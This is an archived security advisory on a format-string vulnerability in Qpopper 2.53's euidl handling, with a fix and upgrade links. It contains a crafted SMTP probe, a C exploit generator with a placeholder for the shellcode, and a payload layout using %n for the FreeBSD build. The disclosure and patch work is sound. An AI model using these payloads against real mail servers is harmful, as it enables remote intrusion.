COMMAND

    popper

SYSTEMS AFFECTED

    Qpopper 2.53 for *NIX

PROBLEM

    Following  is  based  on  a  buffer0verfl0w  security advisory #5.
    Qpopper  is  the  most  widely-used  server for the POP3 protocol.
    This allows  users to  access their  mail using  any POP3  client.
    Qpopper supports the latest standards, and includes a large number
    of optional features.  Qpopper is normally used with standard UNIX
    mail transfer and delivery agents such as sendmail or smail.

    There is a bug in version 2.53 of Qpop that can give you a  remote
    shell with  gid=mail.   Problem is  with euidl  command which uses
    user input as format string for pop_msg() function.  Lets  examine
    following code from Qpop 2.53 source:

        --> pop_uidl.c, around line 150:
        ................
                sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
                if (nl = index(buffer, NEWLINE)) *nl = 0;
                sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
         !      return (pop_msg (p,POP_SUCCESS, buffer));
                                             ^^^^^^^^^^^^^

    Function pop_msg() is declared in pop_msg.c as pop_msg(POP *p, int
    stat,  const  char  *format,...),  and  here we have user-input as
    format string.   Lame.   Ok, back  to problem,  imagine  following
    smtp session:

        MAIL FROM:<hakker@evil.org>
        200 Ok
        RCPT TO:<luser@host.withqpop253.com>
        200 Ok
        data
        200 Okey, okey. end with "."
        Subject: still trust qpop?=/
        X-UIDL: AAAAAAAAAAAAAAAA
        From: %p%p%p%p%p%p%p

        test
        .
        200 BLABLABLA Ok, message accepted for delivery.

    Then, luser connects with his  pop account and runs euidl  command
    there:

        +OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
        USER luser
        +OK Password required for luser.
        PASS secret
        +OK luser has 3 messages (1644 octets).
        euidl 3
        +OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028

    Yeah, thats from testing  box with FreeBSD.   As you can see,  our
    %p%p%p%p%p%p%p  where  implemented  as  arguments  for vsnprintf()
    command.

    Is this  possible to  exploit?   Yeah, sure!   But there  are some
    limits.  Qpopper2.53 from FreeBSD ports with patches is much  more
    difficult to exploit than one  from linux.  It is  because FreeBSD
    patches change vsprintf() call  in pop_msg.c to vsnprintf()  call,
    and there is big difference between them.  Qpopper with  FreeBSD's
    patches IS exploitable.

    /*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
     *
     *  Sample exploit for buffer overflow in Qpopper 2.53.
     *  This little proggie generates a mail u need to send.
     *
     *  Standard disclaimer applies.
     *  By the way, exploit is broken =) You need to insert shellcode.
     *
     *  MAD greets to tf8 for pointing out the bug, and all other b0f members.
     *  greets to USSRLabs and ADM
     *  check http://b0f.freebsd.lublin.pl/ for news.
     */
    #include <stdio.h>
    #include <string.h>

    char shellcode[]="imnothing";
    int main(int argc, char *argv[])
    {
	    int i;
	    unsigned long ra=0;
	    if(argc!=2) {
		    fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
		    exit(0);
	    }
	    sscanf(argv[1], "%x", &ra);
	    if(!ra)
 		    return;
	    if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
		    fprintf(stderr,"Bad shellcode\n");
		    exit(0);
	    }
	    fprintf(stderr,"return address: 0x%.8x\n", ra);
	    printf("X-UIDL: ");
	    for(i=0; i < sizeof(shellcode);i++)
		    printf("%c", shellcode[i]);
	    printf("\r\n");
	    printf("From: %s", "%.1000d");
	    for(i=0; i < 50; i++)
		    printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
	    printf("@test\r\n");
	    printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
	    return 0;
    }

    What about exploiting  QPOP from FreeBSD  ports.  It  is NOT easy,
    because  vsprintf()  is  replaced  with  vsnprintf()  so  we can't
    overflow stack, but we still  have control over it (remeber  %n?).
    You are not going  to find exploit for  this because it is  really
    generic,  but  we  will  explain  theory  on  exploiting qpop with
    vsNprintf.   There is  an little  trick with  %n You  should know.
    Try to understand why folowing code succeeds and prints out  2000,
    not sizeof(b):

        #include <stdio.h>
        int main(void){
                int s=1; char b[1024]; int q;
                snprintf(b, sizeof(b), "%.2000d%n", 1, &q);
                return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));
        }

    On box  with FreeBSD  3.4 we  have 2000,  overflowed?   NO!   Hah,
    first time  you expected  to see  1024, but  You know  that all is
    unpredictable.   So,  this  little  thing  will  help  us  a  lot.
    Exploiting it:

        a) Find where in stack is located user input.
        b) Compose a message with filed X-UIDL and From:
           X-UIDL: ppRETARETARETARETA
           From: <SHELLCODE>%.RETURNd%n@test

    where:

        "pp"        is for padding (two or three chars)
        "RETA"      is return address pointing to SHELLCODE
        "SHELLCODE" guess
        "RETURN"    return address

    Exploit?  If you need an  exploit that will work on FreeBSD,  code
    it yourself.

    Cobalt RaQ  3 with  OS Update  3.0 seems  to be  yet vulnerable to
    this bug.

SOLUTION

    You can download Qpopper 3.1 at

        http://www.eudora.com/freeware/qpop.html#CURRENT

    which is  not vulnerable  to this  problem.   Or you  can manually
    patch  it  by  doing  the  following.   At  lines  150 and 62 from
    pop_uidl.c, replace:

        - return (pop_msg (p,POP_SUCCESS, buffer));

    to:

        + return (pop_msg (p,POP_SUCCESS, "%s", buffer));

    This problem does not exist in Qpopper 3.0.2, which is the current
    released version.   Anyone using  an older  version of  Qpopper is
    urged  to  upgrade  to  3.0.2  or  later  (3.1  is  in beta and is
    available as well).

    For SuSE Linux use:

        ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/pop-2000.6.7-0.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/pop-2000.6.7-0.src.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/pop-2000.6.7-0.alpha.rpm
        ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/pop-2000.6.7-0.src.rpm

        ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/pop-2000.6.8-0.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/pop-2000.6.8-0.src.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/pop-2000.6.7-0.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/pop-2000.6.7-0.src.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/pop-2000.6.7-0.i386.rpm
        ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/pop-2000.6.7-0.src.rpm

        ftp://ftp.suse.com/pub/suse/ppc/update/6.3/n1/pop-2000.6.7-0.ppc.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/6.3/zq1/pop-2000.6.7-0.src.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/pop-2000.6.7-0.ppc.rpm
        ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/pop-2000.6.7-0.src.rpm

    For FreeBSD  deinstall the  qpopper-2.53 port/package,  if you you
    have installed it.  Solution is one of the following:

        1) Upgrade  your  entire  ports  collection  and  rebuild  the
           qpopper  port,  or  upgrade  to  qpopper-3.0.2 available in
           /usr/ports/mail/popper3.
        2) Deinstall the old package  and install a new package  dated
           after the correction date (2000-05-25), obtained from:
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/mail/qpopper-2.53.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/mail/qpopper-2.53.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/mail/qpopper-2.53.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/mail/qpopper-2.53.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/mail/qpopper-2.53.tgz

           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/mail/qpopper3-3.0.2.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/mail/qpopper3-3.0.2.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/mail/qpopper3-3.0.2.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/mail/qpopper3-3.0.2.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/mail/qpopper3-3.0.2.tgz
        3) download a new port skeleton for the qpopper port from:
           http://www.freebsd.org/ports/
           and use it to rebuild the port.